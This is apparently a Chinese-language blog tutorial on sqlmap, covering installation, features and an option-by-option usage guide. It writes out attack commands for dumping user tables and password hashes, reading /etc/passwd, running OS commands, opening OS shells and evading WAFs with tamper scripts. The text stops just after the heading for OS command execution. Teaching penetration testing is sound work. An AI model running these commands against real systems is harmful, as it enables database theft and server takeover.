sqlmap 是一款开源的渗透测试工具,可以自动化进行SQL注入的检测、利用,并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合,其中包括数据库指纹识别、数据读取和访问底层文件系统,甚至可以通过带外数据连接的方式执行系统命令。

git地址:

https://github.com/sqlmapproject/sqlmap

安装:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

基本使用帮助:

python3 sqlmap.py -h

全部指令帮助:

python3 sqlmap.py -hh

主要用途:

  1. 检测 SQL 注入漏洞:自动检测网站或应用程序中的 SQL 注入安全漏洞。
  2. 利用 SQL 注入漏洞:通过漏洞提取数据库信息,甚至控制底层数据库服务器。
  3. 数据库管理:支持广泛的数据库管理系统并允许用户直接连接数据库。

工具总结:sqlmap

工具功能
sqlmap 是一款开源的渗透测试工具,专注于自动化检测和利用 SQL 注入漏洞,并可以实现对数据库服务器的控制。它拥有强大的检测引擎,丰富的功能和设置,适合专业的渗透测试人员使用。

主要用途:

  1. 检测 SQL 注入漏洞:自动检测网站或应用程序中的 SQL 注入安全漏洞。
  2. 利用 SQL 注入漏洞:通过漏洞提取数据库信息,甚至控制底层数据库服务器。
  3. 数据库管理:支持广泛的数据库管理系统并允许用户直接连接数据库。

核心功能:

  1. 广泛的数据库支持
    支持多种数据库管理系统,包括 MySQL、Oracle、PostgreSQL、Microsoft SQL Server、SQLite、MariaDB 等。
  2. 多种 SQL 注入技术

    • 基于布尔值盲注(Boolean-based blind)
    • 基于时间盲注(Time-based blind)
    • 基于错误信息(Error-based)
    • 基于 UNION 查询(UNION query-based)
    • 堆叠查询(Stacked queries)
    • 带外通信(Out-of-band)
  3. 数据库信息枚举
    支持枚举:

    • 用户、密码哈希值
    • 权限和角色
    • 数据库、表和列信息
  4. 密码破解与数据导出

    • 自动识别密码哈希格式,并支持基于字典的破解。
    • 支持完整表导出、部分条目导出,或特定列的导出。
  5. 高级文件和命令操作

    • 在特定数据库系统(如 MySQL、PostgreSQL、Microsoft SQL Server)下,支持从数据库服务器的文件系统下载/上传文件。
    • 支持在数据库服务器操作系统上执行任意命令,并获取输出。
  6. 高级控制功能

    • 通过带外 TCP 连接(如命令行、Meterpreter 会话、VNC 界面)与数据库服务器建立连接。
    • 支持通过 Metasploit 的 getsystem 命令提升权限。

适用人群
适合渗透测试人员和网络安全研究人员,用于测试和加强系统安全性。

sqlmap使用说明

1. 基本命令

python3 sqlmap.py -u <URL> [OPTIONS]
  • -u <URL>: 指定目标 URL,最基础的用法。

    • 示例:python3 sqlmap.py -u "http://example.com/vuln.php?id=1"
  • --batch: 自动确认所有提示,避免手动输入,适合批量操作。

    • 示例:python3 sqlmap.py -u "http://example.com" --batch
  • --wizard: 简化模式,适合初学者,引导输入常见选项。

2. 配置目标

2.1 指定目标
  • -u <URL>: 指定目标 URL。
  • -d <DIRECT>: 使用数据库直接连接字符串。

    • 示例:-d "mysql://user:password@localhost/dbname"
  • -l <LOGFILE>: 从 Burp Suite 或 WebScarab 的代理日志文件中提取目标。
  • -m <BULKFILE>: 从文件加载多个目标 URL。

    • 示例:-m targets.txt
  • -r <REQUESTFILE>: 从 HTTP 请求文件加载目标。

    • 示例:-r request.txt
  • -c <CONFIGFILE>: 从配置文件加载参数。
2.2 搜索目标
  • -g <GOOGLEDORK>

    : 使用 Google Dork 搜索目标。

    • 示例:-g "inurl:index.php?id="

3. 请求设置

3.1 请求头
  • -A <AGENT>: 设置 HTTP 的 User-Agent 头。

    • 示例:-A "Mozilla/5.0"
  • --random-agent: 随机设置 User-Agent。
  • --headers: 添加自定义请求头。

    • 示例:--headers="X-Forwarded-For: 127.0.0.1"
3.2 请求方法
  • --method=<METHOD>: 指定 HTTP 方法(如 GET, POST, PUT)。

    • 示例:--method=POST
  • --data=<DATA>: 指定 POST 数据。

    • 示例:--data="id=1&action=edit"
3.3 Cookies
  • --cookie=<COOKIE>: 设置 Cookie。

    • 示例:--cookie="PHPSESSID=12345"
  • --load-cookies=<FILE>: 从 Netscape 格式的 Cookie 文件加载。

4. 优化性能

  • --threads=<NUMBER>: 设置并发线程数(默认 1)。

    • 示例:--threads=10
  • --keep-alive: 使用持久连接。
  • --null-connection: 不接收 HTTP 响应内容,仅比较响应长度。

5. 注入检测

  • -p <PARAMETER>: 指定需要测试的参数。

    • 示例:-p id
  • --level=<LEVEL>: 设置测试深度(1-5,默认 1)。

    • 示例:--level=3
  • --risk=<RISK>: 设置测试风险级别(1-3,默认 1)。

    • 示例:--risk=2
  • --technique=<TECHNIQUES>: 指定测试技术(默认 BEUSTQ)。

    • 技术说明:

      • B: 布尔型盲注
      • E: 错误型注入
      • U: 联合查询注入
      • S: 堆叠注入
      • T: 时间盲注
      • Q: 内联查询
    • 示例:--technique=BEU

6. 漏洞利用

6.1 枚举信息
  • -b--banner: 获取数据库的 Banner。
  • --current-user: 获取当前数据库用户。
  • --current-db: 获取当前数据库。
  • --dbs: 枚举所有数据库。
  • --tables: 枚举指定数据库的表。

    • 示例:--tables -D testdb
  • --columns: 枚举表的列。

    • 示例:--columns -D testdb -T users
  • --dump: 导出表内容。

    • 示例:--dump -D testdb -T users
6.2 搜索信息
  • --search: 搜索列、表或数据库名。
6.3 直接执行 SQL 语句
  • --sql-query=<QUERY>: 执行 SQL 查询。

    • 示例:--sql-query="SELECT user,password FROM users"
  • --sql-shell: 进入交互式 SQL Shell。

7. 文件与操作系统访问

7.1 文件操作
  • --file-read=<PATH>: 读取目标文件。

    • 示例:--file-read="/etc/passwd"
  • --file-write=<PATH>: 写入文件到目标系统。
7.2 操作系统访问
  • --os-cmd=<COMMAND>: 执行系统命令。

    • 示例:--os-cmd="ls"
  • --os-shell: 获取交互式操作系统 Shell。

8. 防御绕过

  • --tamper=<SCRIPT>: 使用混淆脚本绕过 WAF 或 IPS。

    • 示例:--tamper="space2comment"
  • --skip-waf: 跳过 WAF 检测。

9. 报告与日志

  • --output-dir=<DIR>: 指定输出目录。

    • 示例:--output-dir="results"
  • --save=<CONFIGFILE>: 保存当前配置到文件。
  • --har=<FILE>: 记录所有 HTTP 流量到 HAR 文件。

10. 示例用法

检测目标 SQL 注入:
python3 sqlmap.py -u "http://example.com/vuln.php?id=1"
指定参数和技术:
python3 sqlmap.py -u "http://example.com" -p "id" --technique=BU --level=3 --risk=2
获取数据库信息:
python3 sqlmap.py -u "http://example.com/vuln.php?id=1" --dbs
导出数据库表:
python3 sqlmap.py -u "http://example.com/vuln.php?id=1" -D testdb -T users --dump
执行操作系统命令:

Loading
1 声望0 粉丝